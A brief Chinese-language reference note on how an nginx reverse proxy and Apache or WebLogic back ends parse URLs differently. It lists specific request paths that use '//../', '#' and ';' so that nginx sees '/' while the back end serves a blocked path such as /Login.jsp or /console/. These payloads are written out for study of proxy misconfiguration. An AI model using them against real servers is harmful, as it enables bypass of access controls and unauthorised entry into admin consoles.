反向代理容器之间的url解析差异性
前言:不同容器之间的url解析差异性的笔记,方便之后查询
nginx前端
当nginx作为前端反向代理的情况下,不同后端容器解析url和可能存在的绕过的情况
apache后端
差异性:#
作为weblogic中的正常符号,而对于nginx来说是注释符
阻拦路径:/protected/
请求路径:/protected//../
nginx解析:解析为 /
apache解析:解析为 /protected/
weblogic后端
绕过weblogic
差异性:#
作为weblogic中的正常符号,而对于nginx来说是注释符
阻拦路径:/Login.jsp
请求路径:/#/../Login.jsp
nginx解析:解析为 /
weblogic解析:解析为 /Login.jsp
绕过weblogic
差异性:;
后面的部分作为路径参数
阻拦路径:/console/
请求路径:/console/login/LoginForm.jsp;/../../../
nginx解析:解析为 /
weblogic解析:解析为 /console/login/LoginForm.jsp